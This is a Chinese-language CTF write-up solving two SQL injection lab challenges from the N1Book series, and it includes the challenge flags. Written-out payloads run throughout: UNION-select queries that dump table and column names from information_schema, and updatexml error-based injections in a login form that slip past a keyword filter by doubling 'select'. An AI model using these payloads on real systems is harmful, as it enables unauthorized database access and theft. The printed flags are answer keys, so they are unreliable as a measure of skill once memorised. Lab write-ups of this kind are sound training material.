CTFer成长之路之CTF中的SQL注入
CTF中的SQL注入CTF SQL注入 SQL注入-1 题目描述: 暂无 docker-compose.yml version: '3.2' services: web: image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest ports: - 80:80 启动方式 docker-comp
CTF中的SQL注入CTF
SQL注入
SQL注入-1
题目描述:
暂无
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
ports:
- 80:80
启动方式
docker-compose up -d
题目Flag
n1book{union_select_is_so_cool}
Writeup
访问url:http://192.168.10.22/index.php?id=2-1

访问url:http://192.168.10.22/index.php?id=2

两者结果相同,说明不存在数字型在注入
访问url:http://192.168.10.22/index.php?id=2'

访问url:http://192.168.10.22/index.php?id=2'%23

页面重新有显示内容,说明存在字符型注入
判断字段数,有三个字段
http://192.168.10.22/index.php?id=2' order by 3%23有回显
http://192.168.10.22/index.php?id=2' order by 4%23无回显

尝试union注入,查看回显点为2,3
访问url:http://192.168.10.22/index.php?id=-2' union select 1,2,3%23

尝试获取表名
http://192.168.10.22/index.php?id=-2' union select 1,2400,group_concat(table_name) from information_schema.tables where table_schema=database()%23
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),2400 from information_schema.tables where table_schema=database()%23
2,3这两处回显点,一处写payload,一处可以是任意数字

获取字段名
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(column_name),2400 from information_schema.columns where table_schema=database() and table_name='fl4g'%23
为fllllag

获取flag:
http://192.168.10.22/index.php?id=-2' union select 1,fllllag,2400 from fl4g%23
n1book{union_select_is_so_cool}

SQL注入-2
题目描述:
请访问 http://127.0.0.1/login.php http://127.0.0.1/user.php
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
ports:
- 80:80
启动方式
docker-compose up -d
题目Flag
n1book{login_sqli_is_nice}
Writeup
查看源代码,页面注释中有提示,在url中加入?tips=1,出现报错信息

访问:http://192.168.10.22/login.php?tips=1 账号输入1’密码输入1抓包

使用报错注入时可以发现,回显正常报错
name=1'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1

name=1'and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=1
回显,说明我们的sql语句被进行了某种替换,导致语法错误。

尝试
name=1'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1
发现回显正常

使用报错注入获取表名
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1
为fl4g,users

获得列名
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=1
为flag

获得flag
name=1'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1
为n1book{login_sqli_is_nice}

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。